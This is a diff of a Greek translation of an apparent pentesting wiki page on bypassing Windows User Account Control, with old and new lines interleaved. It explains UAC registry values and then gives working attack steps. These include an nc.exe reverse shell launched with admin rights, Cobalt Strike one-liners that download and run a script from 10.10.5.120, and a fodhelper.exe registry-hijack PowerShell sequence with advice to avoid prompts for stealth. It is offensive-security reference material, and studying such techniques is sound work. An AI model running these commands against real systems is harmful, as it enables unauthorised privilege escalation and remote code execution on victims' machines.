| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prompt for consent for non-Windows binaries |
|
||||
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Ζήτηση διαπιστευτηρίων στην ασφαλή επιφάνεια εργασίας |
|
||||
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prompt for credentials on the secure desktop |
|
||||
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Enabled (default for home) Disabled (default for enterprise) |
|
||||
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Απενεργοποιημένο |
|
||||
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Ενεργοποιημένο |
|
||||
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Ενεργοποιημένο |
|
||||
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Ενεργοποιημένο |
|
||||
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Ενεργοποιημένο |
|
||||
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Disabled |
|
||||
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Enabled |
|
||||
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Enabled |
|
||||
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Enabled |
|
||||
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Enabled |
|
||||
|
||||
### Θεωρία Παράκαμψης UAC
|
||||
### UAC Bypass Theory
|
||||
|
||||
Ορισμένα προγράμματα ανεβαίνουν αυτόματα σε υψηλότερα προνόμια (autoelevated) αν ο χρήστης ανήκει στην ομάδα διαχειριστών. Αυτά τα δυαδικά περιέχουν μέσα στα _**Manifests**_ την επιλογή _**autoElevate**_ με τιμή _**True**_. Το δυαδικό πρέπει επίσης να είναι **υπογεγραμμένο από τη Microsoft**.
|
||||
Ορισμένα προγράμματα είναι **autoelevated automatically** εάν ο **χρήστης ανήκει** στην **ομάδα των διαχειριστών**. Αυτά τα binaries έχουν μέσα στα _**Manifests**_ την επιλογή _**autoElevate**_ με τιμή _**True**_. Το binary πρέπει επίσης να είναι **υπογεγραμμένο από τη Microsoft**.
|
||||
|
||||
Πολλές διεργασίες auto-elevate εκθέτουν **λειτουργικότητα μέσω COM objects ή RPC servers**, η οποία μπορεί να κληθεί από διεργασίες που τρέχουν με μέσο επίπεδο `integrity` (δικαιώματα σε επίπεδο κανονικού χρήστη). Σημειώστε ότι COM (Component Object Model) και RPC (Remote Procedure Call) είναι μέθοδοι που χρησιμοποιούν τα Windows για να επικοινωνούν και να εκτελούν λειτουργίες μεταξύ διαφορετικών διεργασιών. Για παράδειγμα, το **`IFileOperation COM object`** έχει σχεδιαστεί για να χειρίζεται λειτουργίες αρχείων (αντιγραφή, διαγραφή, μετακίνηση) και μπορεί να ανεβάσει αυτόματα προνόμια χωρίς προτροπή.
|
||||
Πολλές διαδικασίες auto-elevate εκθέτουν **λειτουργικότητα μέσω COM objects ή RPC servers**, που μπορούν να κληθούν από διεργασίες που τρέχουν με medium integrity (προνόμια σε επίπεδο κανονικού χρήστη). Σημειώστε ότι COM (Component Object Model) και RPC (Remote Procedure Call) είναι μέθοδοι που χρησιμοποιούν τα προγράμματα Windows για να επικοινωνήσουν και να εκτελέσουν λειτουργίες μεταξύ διαφορετικών διεργασιών. Για παράδειγμα, το **`IFileOperation COM object`** έχει σχεδιαστεί για να χειρίζεται λειτουργίες αρχείων (copying, deleting, moving) και μπορεί να ανεβάσει αυτόματα προνόμια χωρίς προτροπή.
|
||||
|
||||
Σημειώστε ότι ενδέχεται να εκτελεστούν κάποιοι έλεγχοι, όπως έλεγχος αν η διεργασία εκτελέστηκε από τον κατάλογο **System32**, ο οποίος μπορεί να παρακαμφθεί για παράδειγμα με **injecting into explorer.exe** ή σε άλλο εκτελέσιμο που βρίσκεται στο System32.
|
||||
Σημειώστε ότι μπορεί να γίνουν ορισμένοι έλεγχοι, όπως ο έλεγχος αν η διαδικασία εκτελέστηκε από τον κατάλογο **System32**, κάτι που μπορεί να παρακαμφθεί για παράδειγμα με **injection into explorer.exe** ή σε άλλο εκτελέσιμο που βρίσκεται στο System32.
|
||||
|
||||
Ένας άλλος τρόπος παράκαμψης αυτών των ελέγχων είναι να **τροποποιηθεί το PEB**. Κάθε διεργασία στα Windows έχει ένα Process Environment Block (PEB), το οποίο περιλαμβάνει σημαντικά δεδομένα για τη διεργασία, όπως τη διαδρομή του εκτελέσιμου. Με την τροποποίηση του PEB, οι επιτιθέμενοι μπορούν να ψευδοποιήσουν (spoof) τη θέση της δικής τους κακόβουλης διεργασίας, κάνοντας να φαίνεται ότι τρέχει από έναν αξιόπιστο κατάλογο (όπως το system32). Αυτές οι ψευδείς πληροφορίες ξεγελούν το COM object ώστε να ανεβάσει προνόμια χωρίς να ζητηθεί προτροπή από τον χρήστη.
|
||||
Ένας άλλος τρόπος να παρακαμφθούν αυτοί οι έλεγχοι είναι να **τροποποιηθεί το PEB**. Κάθε διαδικασία στα Windows έχει ένα Process Environment Block (PEB), που περιλαμβάνει σημαντικά δεδομένα για τη διαδικασία, όπως την εκτελέσιμη διαδρομή της. Τροποποιώντας το PEB, οι επιτιθέμενοι μπορούν να πλαστογραφήσουν (spoof) την τοποθεσία της δικής τους κακόβουλης διαδικασίας, κάνοντάς την να φαίνεται ότι εκτελείται από έναν αξιόπιστο κατάλογο (π.χ. system32). Αυτή η πλαστογραφημένη πληροφορία ξεγελάει το COM object ώστε να auto-elevate τα προνόμια χωρίς να εμφανιστεί προτροπή στον χρήστη.
|
||||
|
||||
Στη συνέχεια, για να **παρακαμφθεί** το **UAC** (ανεβάζοντας τα δικαιώματα από **μέσο** επίπεδο `integrity` **σε υψηλό**) κάποιοι επιτιθέμενοι χρησιμοποιούν τέτοιου είδους δυαδικά για να **εκτελέσουν αυθαίρετο κώδικα**, διότι θα εκτελεστεί από μια διεργασία με **υψηλό επίπεδο integrity**.
|
||||
Έπειτα, για να **παρακαμφθεί** το **UAC** (να ανυψωθεί από **medium** integrity level **σε high**), κάποιοι επιτιθέμενοι χρησιμοποιούν αυτού του είδους τα binaries για να **εκτελέσουν αυθαίρετο κώδικα** επειδή θα εκτελεστεί από μια διεργασία με **High** επίπεδο integrity.
|
||||
|
||||
Μπορείτε να **ελέγξετε** το _**Manifest**_ ενός δυαδικού χρησιμοποιώντας το εργαλείο _**sigcheck.exe**_ από τα Sysinternals. (`sigcheck.exe -m <file>`) Και μπορείτε να **δειτε** το **επίπεδο integrity** των διεργασιών χρησιμοποιώντας το _Process Explorer_ ή το _Process Monitor_ (των Sysinternals).
|
||||
Μπορείτε να **ελέγξετε** το _**Manifest**_ ενός binary χρησιμοποιώντας το εργαλείο _**sigcheck.exe**_ από Sysinternals. (`sigcheck.exe -m <file>`) Και μπορείτε να **δειτε** το **integrity level** των διεργασιών χρησιμοποιώντας _Process Explorer_ ή _Process Monitor_ (από Sysinternals).
|
||||
|
||||
### Έλεγχος UAC
|
||||
### Check UAC
|
||||
|
||||
Για να επιβεβαιώσετε εάν το UAC είναι ενεργοποιημένο κάντε:
|
||||
Για να επιβεβαιώσετε αν το UAC είναι ενεργοποιημένο κάντε:
|
||||
```
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
|
||||
|
||||
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
||||
EnableLUA REG_DWORD 0x1
|
||||
```
|
||||
Αν είναι **`1`** τότε το UAC είναι **ενεργοποιημένο**, αν είναι **`0`** ή **δεν υπάρχει**, τότε το UAC είναι **απενεργοποιημένο**.
|
||||
Αν είναι **`1`**, τότε το UAC είναι **ενεργοποιημένο**, αν είναι **`0`** ή δεν υπάρχει, τότε το UAC είναι **απενεργοποιημένο**.
|
||||
|
||||
Στη συνέχεια, ελέγξτε **ποιο επίπεδο** έχει ρυθμιστεί:
|
||||
Έπειτα, έλεγξε **ποιο επίπεδο** έχει ρυθμιστεί:
|
||||
```
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
|
||||
|
||||
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
||||
ConsentPromptBehaviorAdmin REG_DWORD 0x5
|
||||
```
|
||||
- Αν **`0`** τότε, UAC δεν θα ζητήσει προτροπή (όπως **απενεργοποιημένη**)
|
||||
- Αν **`1`** ο διαχειριστής **ζητείται για όνομα χρήστη και κωδικό** για να εκτελέσει το binary με υψηλά δικαιώματα (στο Secure Desktop)
|
||||
- Αν **`2`** (**Always notify me**) η UAC θα ζητάει πάντα επιβεβαίωση από τον διαχειριστή όταν προσπαθεί να εκτελέσει κάτι με υψηλά προνόμια (στο Secure Desktop)
|
||||
- Αν **`3`** όπως το `1` αλλά όχι απαραίτητα στο Secure Desktop
|
||||
- Αν **`4`** όπως το `2` αλλά όχι απαραίτητα στο Secure Desktop
|
||||
- αν **`5`**(**default**) θα ζητήσει από τον διαχειριστή να επιβεβαιώσει την εκτέλεση μη Windows binaries με υψηλά προνόμια
|
||||
- If **`0`** then, UAC won't prompt (like **disabled**)
|
||||
- If **`1`** the admin is **asked for username and password** to execute the binary with high rights (on Secure Desktop)
|
||||
- If **`2`** (**Always notify me**) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on Secure Desktop)
|
||||
- If **`3`** like `1` but not necessary on Secure Desktop
|
||||
- If **`4`** like `2` but not necessary on Secure Desktop
|
||||
- if **`5`**(**default**) it will ask the administrator to confirm to run non Windows binaries with high privileges
|
||||
|
||||
Then, you have to take a look at the value of **`LocalAccountTokenFilterPolicy`**\
|
||||
If the value is **`0`**, then, only the **RID 500** user (**built-in Administrator**) is able to perform **admin tasks without UAC**, and if its `1`, **all accounts inside "Administrators"** group can do them.
|
||||
Στη συνέχεια, πρέπει να κοιτάξετε την τιμή του **`LocalAccountTokenFilterPolicy`**\
|
||||
Αν η τιμή είναι **`0`**, τότε μόνο ο χρήστης **RID 500** (**built-in Administrator**) μπορεί να εκτελέσει **διαχειριστικές εργασίες χωρίς UAC**, και αν είναι `1`, **όλοι οι λογαριασμοί μέσα στην ομάδα "Administrators"** μπορούν να το κάνουν.
|
||||
|
||||
And, finally take a look at the value of the key **`FilterAdministratorToken`**\
|
||||
If **`0`**(default), the **built-in Administrator account can** do remote administration tasks and if **`1`** the built-in account Administrator **cannot** do remote administration tasks, unless `LocalAccountTokenFilterPolicy` is set to `1`.
|
||||
Και, τέλος, κοιτάξτε την τιμή του κλειδιού **`FilterAdministratorToken`**\
|
||||
Αν **`0`** (προεπιλογή), ο ενσωματωμένος λογαριασμός Administrator μπορεί να κάνει απομακρυσμένες διαχειριστικές εργασίες και αν **`1`** ο ενσωματωμένος λογαριασμός Administrator **δεν μπορεί** να κάνει απομακρυσμένες διαχειριστικές εργασίες, εκτός αν `LocalAccountTokenFilterPolicy` είναι ρυθμισμένο σε `1`.
|
||||
|
||||
#### Summary
|
||||
|
||||
@ -82,9 +82,9 @@ If **`0`**(default), the **built-in Administrator account can** do remote admini
|
||||
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, No UAC for RID 500 (Built-in Administrator)**
|
||||
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, UAC for everyone**
|
||||
|
||||
All this information can be gathered using the **metasploit** module: `post/windows/gather/win_privs`
|
||||
Όλες αυτές οι πληροφορίες μπορούν να συλλεχθούν χρησιμοποιώντας το module **metasploit**: `post/windows/gather/win_privs`
|
||||
|
||||
You can also check the groups of your user and get the integrity level:
|
||||
Μπορείτε επίσης να ελέγξετε τις ομάδες του χρήστη σας και να βρείτε το επίπεδο ακεραιότητας:
|
||||
```
|
||||
net user %username%
|
||||
whoami /groups | findstr Level
|
||||
@ -92,13 +92,13 @@ whoami /groups | findstr Level
|
||||
## UAC bypass
|
||||
|
||||
> [!TIP]
|
||||
> Σημειώστε ότι αν έχετε γραφική πρόσβαση στο θύμα, το UAC bypass είναι απλό καθώς μπορείτε απλώς να κάνετε κλικ στο "Yes" όταν εμφανίζεται το UAC prompt
|
||||
> Σημειώστε ότι αν έχετε γραφική πρόσβαση στο θύμα, το UAC bypass είναι ιδιαίτερα απλό, καθώς μπορείτε απλά να κάνετε κλικ στο "Yes" όταν εμφανιστεί το UAC prompt
|
||||
|
||||
The UAC bypass is needed in the following situation: **το UAC είναι ενεργοποιημένο, η διαδικασία σας εκτελείται σε περιβάλλον μέσου επιπέδου ακεραιότητας, και ο χρήστης σας ανήκει στην ομάδα Administrators**.
|
||||
The UAC bypass is needed in the following situation: **the UAC is activated, your process is running in a medium integrity context, and your user belongs to the administrators group**.
|
||||
|
||||
It is important to mention that it is **much harder to bypass the UAC if it is in the highest security level (Always) than if it is in any of the other levels (Default).**
|
||||
|
||||
### UAC disabled
|
||||
### UAC απενεργοποιημένο
|
||||
|
||||
If UAC is already disabled (`ConsentPromptBehaviorAdmin` is **`0`**) you can **execute a reverse shell with admin privileges** (high integrity level) using something like:
|
||||
```bash
|
||||
@ -111,12 +111,12 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10
|
||||
- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
|
||||
- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
|
||||
|
||||
### **Πολύ** Βασικό UAC "bypass" (full file system access)
|
||||
### **Πολύ** Βασική UAC "bypass" (πλήρης πρόσβαση στο σύστημα αρχείων)
|
||||
|
||||
Αν έχετε ένα shell με έναν χρήστη που ανήκει στην Administrators group, μπορείτε να **mount the C$** κοινόχρηστο μέσω SMB (file system) τοπικά σε έναν νέο δίσκο και θα έχετε **πρόσβαση σε όλα μέσα στο file system** (ακόμα και στον Administrator home folder).
|
||||
Εάν έχετε ένα shell με χρήστη που ανήκει στην ομάδα Administrators μπορείτε να **mount the C$** share μέσω SMB (σύστημα αρχείων) τοπικά ως νέο δίσκο και θα έχετε **πρόσβαση σε όλα μέσα στο σύστημα αρχείων** (ακόμη και στον φάκελο χρήστη του Administrator).
|
||||
|
||||
> [!WARNING]
|
||||
> **Φαίνεται ότι αυτό το κόλπο δεν λειτουργεί πια**
|
||||
> **Φαίνεται πως αυτό το τέχνασμα δεν λειτουργεί πια**
|
||||
```bash
|
||||
net use Z: \\127.0.0.1\c$
|
||||
cd C$
|
||||
@ -124,9 +124,9 @@ cd C$
|
||||
#Or you could just access it:
|
||||
dir \\127.0.0.1\c$\Users\Administrator\Desktop
|
||||
```
|
||||
### UAC bypass with cobalt strike
|
||||
### UAC bypass με cobalt strike
|
||||
|
||||
Οι τεχνικές Cobalt Strike θα λειτουργήσουν μόνο αν το UAC δεν είναι ρυθμισμένο στο μέγιστο επίπεδο ασφάλειας.
|
||||
Οι τεχνικές του Cobalt Strike θα λειτουργήσουν μόνο αν το UAC δεν είναι ρυθμισμένο στο μέγιστο επίπεδο ασφάλειας.
|
||||
```bash
|
||||
# UAC bypass via token duplication
|
||||
elevate uac-token-duplication [listener_name]
|
||||
@ -138,7 +138,7 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
|
||||
# Bypass UAC with CMSTPLUA COM interface
|
||||
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
|
||||
```
|
||||
**Empire** και **Metasploit** έχουν επίσης αρκετά modules για να **bypass** το **UAC**.
|
||||
**Empire** και **Metasploit** διαθέτουν επίσης αρκετά modules για **bypass** του **UAC**.
|
||||
|
||||
### KRBUACBypass
|
||||
|
||||
@ -146,10 +146,10 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
|
||||
|
||||
### UAC bypass exploits
|
||||
|
||||
[**UACME** ](https://github.com/hfiref0x/UACME) το οποίο είναι μια **συλλογή** από αρκετά UAC bypass exploits. Σημειώστε ότι θα χρειαστεί να **compile UACME using visual studio or msbuild**. Η μεταγλώττιση θα δημιουργήσει αρκετά εκτελέσιμα (όπως `Source\Akagi\outout\x64\Debug\Akagi.exe`) , θα πρέπει να ξέρετε **ποιο χρειάζεστε.**\
|
||||
Θα πρέπει **να είστε προσεκτικοί** γιατί κάποια bypasses θα **προκαλέσουν την εμφάνιση προτροπών σε κάποια άλλα προγράμματα** που θα **ειδοποιήσουν** τον **χρήστη** ότι κάτι συμβαίνει.
|
||||
[**UACME**](https://github.com/hfiref0x/UACME) το οποίο είναι μια **συλλογή** από αρκετά UAC bypass exploits. Σημειώστε ότι θα χρειαστεί να **compile UACME using visual studio or msbuild**. Η μεταγλώττιση θα δημιουργήσει αρκετά εκτελέσιμα (π.χ. `Source\Akagi\outout\x64\Debug\Akagi.exe`) , θα πρέπει να ξέρετε **ποιο χρειάζεστε.**\
|
||||
Πρέπει να **προσέχετε** γιατί κάποια bypasses θα **προκαλέσουν prompts σε άλλα προγράμματα** που θα **ειδοποιήσουν** τον **χρήστη** ότι κάτι συμβαίνει.
|
||||
|
||||
Το UACME περιλαμβάνει την **build version από την οποία κάθε technique άρχισε να λειτουργεί**. Μπορείτε να αναζητήσετε μια technique που επηρεάζει τις εκδόσεις σας:
|
||||
Το UACME περιέχει την **build version από την οποία κάθε τεχνική άρχισε να λειτουργεί**. Μπορείτε να αναζητήσετε τεχνική που επηρεάζει την έκδοσή σας:
|
||||
```
|
||||
PS C:\> [environment]::OSVersion.Version
|
||||
|
||||
@ -157,17 +157,17 @@ Major Minor Build Revision
|
||||
----- ----- ----- --------
|
||||
10 0 14393 0
|
||||
```
|
||||
Επίσης, χρησιμοποιώντας [this](https://en.wikipedia.org/wiki/Windows_10_version_history) παίρνετε την έκδοση Windows `1607` από τους αριθμούς build.
|
||||
Επιπλέον, χρησιμοποιώντας τη σελίδα [this](https://en.wikipedia.org/wiki/Windows_10_version_history) μπορείτε να βρείτε την έκδοση Windows `1607` από τους αριθμούς build.
|
||||
|
||||
### UAC Bypass – fodhelper.exe (Registry hijack)
|
||||
|
||||
Το trusted binary `fodhelper.exe` είναι auto-elevated σε σύγχρονα Windows. Όταν εκκινείται, ερωτά την per-user registry path παρακάτω χωρίς να επικυρώνει το verb `DelegateExecute`. Τοποθετώντας μια εντολή εκεί επιτρέπει σε μια Medium Integrity process (ο χρήστης είναι στους Administrators) να spawn-άρει μια High Integrity process χωρίς UAC prompt.
|
||||
Το αξιόπιστο binary `fodhelper.exe` αποκτά αυτόματα αυξημένα δικαιώματα στα σύγχρονα Windows. Όταν εκκινείται, ελέγχει το per-user registry path παρακάτω χωρίς να επικυρώνει το `DelegateExecute` verb. Η τοποθέτηση μιας εντολής εκεί επιτρέπει σε μια διαδικασία Medium Integrity (ο χρήστης ανήκει στους Administrators) να δημιουργήσει μια διαδικασία High Integrity χωρίς προτροπή UAC.
|
||||
|
||||
Registry path queried by fodhelper:
|
||||
Το registry path που ερωτάει το fodhelper:
|
||||
```
|
||||
HKCU\Software\Classes\ms-settings\Shell\Open\command
|
||||
```
|
||||
Βήματα PowerShell (ορίστε το payload σας, και μετά εκτελέστε):
|
||||
Βήματα PowerShell (θέστε το payload σας, μετά trigger):
|
||||
```powershell
|
||||
# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
|
||||
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
|
||||
@ -186,45 +186,45 @@ Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
|
||||
# 4) (Recommended) Cleanup
|
||||
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
|
||||
```
|
||||
Σημειώσεις:
|
||||
- Λειτουργεί όταν ο τρέχων χρήστης είναι μέλος των Administrators και το επίπεδο UAC είναι προεπιλεγμένο/επιεικές (όχι Always Notify με επιπλέον περιορισμούς).
|
||||
- Χρησιμοποιήστε τη διαδρομή `sysnative` για να ξεκινήσετε ένα 64-bit PowerShell από μια 32-bit διεργασία σε 64-bit Windows.
|
||||
- Το payload μπορεί να είναι οποιαδήποτε εντολή (PowerShell, cmd, ή μια διαδρομή EXE). Αποφύγετε UI που εμφανίζουν προτροπές για λόγους stealth.
|
||||
Notes:
|
||||
- Λειτουργεί όταν ο τρέχων χρήστης είναι μέλος των Administrators και το επίπεδο UAC είναι default/lenient (όχι Always Notify με επιπλέον περιορισμούς).
|
||||
- Χρησιμοποιήστε τη διαδρομή `sysnative` για να ξεκινήσετε ένα 64-bit PowerShell από μια 32-bit διαδικασία σε 64-bit Windows.
|
||||
- Το payload μπορεί να είναι οποιαδήποτε εντολή (PowerShell, cmd, ή μια διαδρομή EXE). Αποφύγετε διεπαφές που εμφανίζουν prompts για λόγους stealth.
|
||||
|
||||
#### Περισσότερες παρακάμψεις UAC
|
||||
#### More UAC bypass
|
||||
|
||||
**Όλες** οι τεχνικές που χρησιμοποιούνται εδώ για να παρακαμφθεί η AUC **απαιτούν** ένα **πλήρες διαδραστικό shell** με το θύμα (ένα κοινό nc.exe shell δεν αρκεί).
|
||||
**All** οι τεχνικές που χρησιμοποιούνται εδώ για να παρακάμψουν την AUC **απαιτούν** ένα **πλήρες interactive shell** με το θύμα (ένα κοινό nc.exe shell δεν αρκεί).
|
||||
|
||||
Μπορείτε να το πετύχετε χρησιμοποιώντας μια συνεδρία **meterpreter**. Μεταναστεύστε σε μια **διαδικασία** που έχει την **Session** τιμή ίση με **1**:
|
||||
Μπορείτε να το αποκτήσετε χρησιμοποιώντας μια **meterpreter** session. Κάντε migrate σε μια **process** που έχει την τιμή **Session** ίση με **1**:
|
||||
|
||||
.png>)
|
||||
|
||||
(_explorer.exe_ θα πρέπει να λειτουργεί)
|
||||
|
||||
### Παράκαμψη UAC με GUI
|
||||
### UAC Bypass με GUI
|
||||
|
||||
Αν έχετε πρόσβαση σε **GUI μπορείτε απλώς να αποδεχτείτε το UAC prompt** όταν το λάβετε, δεν χρειάζεστε πραγματικά παρακάμψη. Έτσι, η πρόσβαση σε GUI θα σας επιτρέψει να παρακάμψετε το UAC.
|
||||
Αν έχετε πρόσβαση σε GUI μπορείτε απλά να αποδεχτείτε το UAC prompt όταν εμφανιστεί — δεν χρειάζεστε πραγματικά κάποιο bypass. Επομένως, η πρόσβαση σε GUI θα σας επιτρέψει να παρακάμψετε το UAC.
|
||||
|
||||
Επιπλέον, αν αποκτήσετε μια GUI συνεδρία που κάποιος χρησιμοποιούσε (πιθανόν μέσω RDP) υπάρχουν **κάποια εργαλεία που θα τρέχουν ως administrator** από όπου θα μπορούσατε να **τρέξετε** ένα **cmd**, για παράδειγμα, **ως admin** απευθείας χωρίς να σας ζητηθεί ξανά από το UAC, όπως [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Αυτό μπορεί να είναι πιο **stealthy**.
|
||||
Επιπλέον, αν αποκτήσετε μια GUI session που κάποιος χρησιμοποιούσε (πιθανώς μέσω RDP) υπάρχουν **κάποια εργαλεία που θα τρέχουν ως administrator** από τα οποία θα μπορούσατε να **τρέξετε** ένα **cmd** για παράδειγμα **ως admin** απευθείας χωρίς να σας ζητηθεί ξανά από το UAC, όπως [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Αυτό μπορεί να είναι λίγο πιο stealthy.
|
||||
|
||||
### Θορυβώδης brute-force παράκαμψη UAC
|
||||
### Noisy brute-force UAC bypass
|
||||
|
||||
Αν δεν σας ενδιαφέρει ο θόρυβος μπορείτε πάντα να **τρέξετε κάτι σαν** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) που **ζητά να αυξήσει τα δικαιώματα μέχρι ο χρήστης να τα αποδεχτεί**.
|
||||
Αν δεν σας απασχολεί το να είστε θορυβώδεις, μπορείτε πάντα να τρέξετε κάτι σαν [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) που θα ζητάει ανύψωση δικαιωμάτων επανειλημμένα μέχρι ο χρήστης να το αποδεχτεί.
|
||||
|
||||
### Η δική σας παράκαμψη - Βασική μεθοδολογία παράκαμψης UAC
|
||||
### Your own bypass - Basic UAC bypass methodology
|
||||
|
||||
Αν ρίξετε μια ματιά στο **UACME** θα παρατηρήσετε ότι **οι περισσότερες παρακάμψεις UAC εκμεταλλεύονται μια ευπάθεια Dll Hijacking** (κυρίως γράφοντας το κακόβουλο dll στο _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
|
||||
Αν ρίξετε μια ματιά στο **UACME** θα παρατηρήσετε ότι οι περισσότερες UAC bypass τεχνικές εκμεταλλεύονται μια Dll Hijacking ευπάθεια (κυρίως γράφοντας το κακόβουλο dll στο _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
|
||||
|
||||
1. Βρείτε ένα binary που θα **autoelevate** (ελέγξτε ότι όταν εκτελείται τρέχει σε υψηλό επίπεδο ακεραιότητας).
|
||||
1. Βρείτε ένα binary που θα **autoelevate** (ελέγξτε ότι όταν εκτελείται τρέχει σε high integrity level).
|
||||
2. Με το procmon βρείτε γεγονότα "**NAME NOT FOUND**" που μπορεί να είναι ευάλωτα σε **DLL Hijacking**.
|
||||
3. Πιθανότατα θα χρειαστεί να **γράψετε** το DLL μέσα σε μερικές **προστατευμένες διαδρομές** (όπως C:\Windows\System32) όπου δεν έχετε δικαιώματα εγγραφής. Μπορείτε να παρακάμψετε αυτό χρησιμοποιώντας:
|
||||
1. **wusa.exe**: Windows 7, 8 και 8.1. Σας επιτρέπει να εξαγάγετε το περιεχόμενο ενός CAB αρχείου σε προστατευμένες διαδρομές (επειδή αυτό το εργαλείο εκτελείται σε υψηλό επίπεδο ακεραιότητας).
|
||||
3. Πιθανώς θα χρειαστεί να **γράψετε** το DLL μέσα σε κάποιες προστατευμένες διαδρομές (όπως C:\Windows\System32) όπου δεν έχετε δικαιώματα εγγραφής. Μπορείτε να παρακάμψετε αυτό χρησιμοποιώντας:
|
||||
1. **wusa.exe**: Windows 7,8 και 8.1. Επιτρέπει την εξαγωγή του περιεχομένου ενός CAB αρχείου μέσα σε προστατευμένες διαδρομές (επειδή αυτό το εργαλείο εκτελείται από high integrity level).
|
||||
2. **IFileOperation**: Windows 10.
|
||||
4. Ετοιμάστε ένα **script** για να αντιγράψετε το DLL σας μέσα στη προστατευμένη διαδρομή και να εκτελέσετε το ευάλωτο και autoelevated binary.
|
||||
4. Ετοιμάστε ένα **script** για να αντιγράψετε το DLL σας στη προστατευμένη διαδρομή και να εκτελέσετε το ευάλωτο και autoelevated binary.
|
||||
|
||||
